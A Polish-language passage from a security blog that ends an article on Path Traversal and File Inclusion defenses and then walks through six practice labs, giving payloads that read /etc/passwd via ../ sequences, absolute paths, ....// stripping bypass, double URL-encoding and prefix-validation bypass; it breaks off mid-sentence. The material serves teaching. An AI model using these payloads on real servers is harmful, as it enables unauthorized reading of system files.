• Wykonanie kodu na serwerze – w niektórych przypadkach atakujący może wykorzystać podatność do uruchomienia dowolnego kodu na serwerze. Zazwyczaj osiąga się to poprzez zapisanie pliku, który później zostanie wykonany przez serwer. Jeśli aplikacja internetowa działa w PHP i atakujący może dzięki luce zapisać plik z rozszerzeniem .php na serwerze, może później wymusić jego uruchomienie przez serwer. W efekcie serwer wykona kod zawarty w pliku, co pozwoli atakującemu przejąć nad nim kontrolę.

Jak zabezpieczyć swoją aplikację przed Path Traversal

Odpowiednia walidacja

Upewnij się, że wszystkie dane wejściowe, które są kontrolowane przez użytkownika są prawidłowo walidowane i oczyszczane. Jest to kluczowy krok, aby uniemożliwić atakującym manipulowanie ścieżkami oraz dołączanie złośliwych plików.

Unikaj czarnych list

Czarna lista jest złą praktyką, ponieważ istnieje więcej sposobów na wykonanie tego samego żądania. Sprytni atakujący zawsze znajdą sposoby na ominięcie ograniczeń dla danych wejściowych dostarczanych przez użytkownika. Na przykład ../../../etc/ można również zapisać w następujący sposób: ..%2F..%2F..%2Fetc%2F.

Jeśli chcesz mieć dostęp do określonych plików, użyj białą listę obejmującą pliki, które mogą być dołączane do żądania. Jeśli to możliwe, odrzuć każde żądanie, które nie spełnia tych kryteriów.

Odpowiednio skonfiguruj serwer

Skonfiguruj ustawienia serwera, tak aby uniemożliwić zdalne dołączanie plików, a także ograniczyć możliwość dostępu skryptów do systemu plików. W przypadku PHP dyrektywy takie jak allow_url_fopen i allow_url_include powinny być wyłączone, jeśli nie są potrzebne do działania aplikacji.

Regularnie testuj swoją aplikację

Warto regularnie przeprowadzać audyty bezpieczeństwa aplikacji pod kątem występowania potencjalnych luk. Zadanie to możemy sobie ułatwić korzystając z zautomatyzowanych narzędzi. Pamiętaj jednak, że nie zawsze skaner wykryje wszystkie luki. Dlatego właśnie warto także przeprowadzić ręczną kontrolę.

Podsumowanie

Luki w zabezpieczeniach związane z przechodzeniem przez ścieżki stanowią poważne zagrożenie, które może skutkować ujawnieniem poufnych danych lub nawet wykonaniem dowolnego kodu. Pomimo, że Path Traversal i File Inclusion nie są nowymi podatnościami, ale nadal można je znaleźć w różnego rodzajach aplikacjach. Programiści powinni zdawać sobie sprawę z tego ryzyka i podjąć działania, aby je ograniczyć w swoich projektach.

Artykuł Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności? pochodzi z serwisu Pentestuj.

File Path Traversal simple – zadanie numer 1

Żeby rozwiązać to zadanie musimy wyświetlić zawartość pliku etc/passwd. Jest to plik który standardowo występuje w systemie Linux. W pliku tym znajdują się informacje na temat zarejestrowanych użytkowników w danym systemie. W opisie zadania mamy wskazówkę, że luka znajduje się w mechanizmie odpowiedzialnym za wyświetlanie zdjęć produktowych.

Treść laboratorium:

Zajrzyjmy jak wygląda pierwsze laboratorium. Jest to sklep internetowy. Jeśli klikniemy w dany produkt, możemy zauważyć, że przy każdym produkcie są gwiazdki z oceną, cena, zdjęcie, opis oraz link powrotny. Ponieważ w opisie zadania jest informacja, że luka znajduje się w mechanizmie wyświetlania obrazków produktów, musimy bliżej się temu przyjrzeć.

Otwórzmy zdjęcie dowolnego produktu w nowej zakładce, żeby zobaczyć jaką strukturę ma adres URL:

Zauważ, że nazwa obrazka jest wartością przekazywaną do parametru filename.

Dla porównania sprawdźmy adres URL grafiki przy innym produkcie:

Adres URL tych dwóch obrazków różni się tylko wartością parametru filename.

Zajrzyjmy jeszcze do źródła strony w miejscu gdzie wyświetla się nasza grafika:

Możemy z tego wywnioskować, że z adresu URL jest pobierana nazwa obrazka w formie jawnej i jest przekazywana do kodu odpowiedzialnego za wyświetlanie grafiki na stronie. Tak więc w tym miejscu spróbujemy dodać nasz payload, czyli przekażemy zmodyfikowaną wartość do parametru filename.

Odpalmy program Burp Suite. W zakładce Proxy -> HTTP History znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Niestety u mnie nie widać tego żądania, ponieważ w filtrowaniu mam wyłączony ten typ żądania

Żeby to włączyć, w zakładce Proxy -> HTTP History kliknij Filter settings: Hiding CSS and general binary content. Następnie zaznacz checkbox Images.

Od teraz interesujące nas żądanie pojawiło się w historii. Klikamy na nie prawym przyciskiem myszy i wysyłamy do Repeatera. Dzięki temu będziemy mogli zmodyfikować je dodając nasz payload i ponownie wysyłając do serwera.

Teraz spróbujemy przejść o jeden katalog wyżej i wyświetlić zawartość etc/passwd zastępując nazwę pliku w parametrze filename sekwencją:

../etc/passwd

Po wpisaniu naszego payloada w parametrze filename klikamy przycisk Send. W ten sposób wyślemy zmodyfikowane żądanie do serwera. Niestety w odpowiedzi mamy informację „No such file”, tak więc payload nie zadziałał.

Spróbujmy przejść o jeszcze jeden katalog wyżej dodając sekwencję ../

../../etc/passwd

Niestety nadal nie działa. Spróbujmy przejść jeszcze wyżej:

../../../etc/passwd

Udało się. W odpowiedzi otrzymaliśmy zawartość pliku etc/passwd.

File Path Traversal, traversal sequences blocked with absolute path bypass – zadanie numer 2

Treść zadania:

Tu również luka znajduje się w mechanizmie wyświetlania obrazka produktu i też musimy odczytać zawartość pliku etc/passwd. Jednak aplikacja blokuje sekwencje przechodzenia do katalogu wyżej, tak więc sekwencja ../ raczej tu nie zadziała, ale i tak spróbujemy jej użyć 😉

Odpalamy Burp Suite, przechodzimy na podstronę z wybranym produktem. Następnie z poziomu Burp Suite przechodzimy do zakładki Proxy -> HTTP History i znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Jeśli żądanie się u Ciebie nie wyświetla, patrz punkt wyżej (w poprzednim zadaniu wyjaśniam co należy zrobić).

Następnie przesyłamy żądanie do Repeatera i wstawiamy w parametrze filename payload z poprzedniego laboratorium:

Tak jak przypuszczaliśmy, to nie zadziała. W aplikacji został wdrożony mechanizm zabezpieczający, który usuwa z zapytania ciąg znaków ../, tak więc musimy jakoś to ominąć.

W opisie laboratorium mamy wskazówkę „treats the supplied filename as being relative to a default working directory”. Chodzi o to, że wartość przekazana w parametrze filename (domyślnie jest to nazwa pliku wraz z rozszerzeniem) traktowana jest jako względna (relatywna) w stosunku do domyślnego katalogu roboczego. Przypomnijmy sobie czym jest ścieżka względna (relatywna) oraz bezwzględna (absolutna):

Ścieżka względna (relatywna) – określa lokalizację pliku lub folderu w odniesieniu do bieżącego katalogu.

Przykład ścieżki względnej:
./images/45.jpg

gdzie:
. (znak kropki) – oznacza bieżący katalog,
images – nazwa folderu w którym znajduje się nasz plik,
45.jpg – nazwa pliku graficznego, który chcemy odczytać.

Ścieżka bezwzględna (absolutna) – określa pełną ścieżkę począwszy od katalogu głównego aż do wybranego katalogu lub pliku, czyli zaczyna się aż od korzenia systemu plików do danego pliku.

Przykłady ścieżki bezwzględnej:
/var/www/images/45.jpg
/etc/passwd

W tym laboratorium aplikacja usuwa z zapytania sekwencję ../, tak więc nie możemy w ten sposób wyjść poza bieżący katalog. Spróbujmy zatem podać absolutną ścieżkę do pliku passwd. Plik ten znajduje się w lokalizacji:

/etc/passwd

Jak widzimy na poniższym zrzucie udało nam się obejść zabezpieczenie.

File Path Traversal, traversal sequences stripped non-recursively – zadanie numer 3

W kolejnym laboratorium również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów. Tu też jest wdrożony mechanizm zabezpieczający, który usuwa sekwencję ../

Treść zadania:

W tym laboratorium nie zadziałają payloady z poprzednich zadań:

• ../../../etc/passwd
• /etc/passwd

Czasem zdarza się tak, że mechanizm zabezpieczający usuwa sekwencję ../ bez ponownego sprawdzania żądania. Po prostu usuwane jest tylko pierwsze wystąpienie sekwencji ../

Żeby to sprawdzić do naszego żądania dodajmy poniższy payload:

....//....//....//etc/passwd

Mechanizm zabezpieczający usunie poniższe znaki:

Po tym zabiegu nasze zapytanie będzie miało odpowiednią strukturę:

Sprawdźmy czy to zadziała.

Udało nam się wyświetlić zawartość pliku passwd.

File Path Traversal, traversal sequences stripped with superfluous URL-decode – zadanie numer 4

W kolejnym zadaniu również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów.

Treść zadania:

Dużą wskazówkę znajdujemy w opisie tego laboratorium. Sekwencja przechodzenia do katalogu nadrzędnego (czyli ../) jest usuwana z zapytania, ale mechanizm zanim użyje przekazanych danych w parametrze filename wykonuje dekodowanie adresu URL. Czyli dekoduje ciąg znaków zakodowanych za pomocą kodowania URL (kodowanie procentowe) na tekst jawny.

Na pewno payloady z poprzednich zadań nie zadziałają:

• ../../../etc/passwd
• /etc/passwd
• ....//....//....//etc/passwd

Jednak co się stanie, jeśli zakodujemy sekwencję ../ za pomocą kodowania URL? Wtedy system zabezpieczający „nie zobaczy”, że jest to sekwencja ../, więc przepuści nasz payload i zrobi na nim dekodowanie.

Najpierw spróbujemy zakodować ciąg: ../../../

Zatem poniższa sekwencja:

../../../etc/passwd

będzie mieć postać:

%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc/passwd

Sprawdźmy czy to zadziała.

Niestety to nie zadziałało, ale możemy jeszcze spróbować użyć podwójnego kodowania. Czyli najpierw kodujemy ciąg ../../../, a potem jeszcze raz kodujemy ciąg %2E%2E%2F%2E%2E%2F%2E%2E%2F

Ostatecznie nasz payload będzie miał postać:

%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc/passwd

Tym razem nasz payload zadziałał.

File Path Traversal, validation of start of path – zadanie numer 5

W kolejnym zadaniu również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów.

Treść zadania:

Spójrzmy na źródło strony. Jak widać na poniższym zrzucie parametr filename zawiera pełną ścieżkę do obrazka:

/image?filename=/var/www/images/48.jpg

Aplikacja sprawdza, czy ścieżka zaczyna się od oczekiwanych wartości, w tym przypadku ścieżki bezwzględnej /var/www/images.

Sprawdźmy, czy możliwe jest użycie poniższego payloadu. Zostawiamy początek ścieżki, czyli fragment który jest sprawdzany przez mechanizm zabezpieczający. Następnie próbujemy wyjść ponad te katalogi za pomocą sekwencji ../

/var/www/images/../../../etc/passwd

File Path Traversal, validation of file extension with null byte bypass – zadanie numer 6

W kolejnym zadaniu również musimy wyświetlić zawartość pliku etc/passwd. Luka też jest w mechanizmie wyświetlania obrazków produktów. Jest za to pewne utrudnienie polegające na ty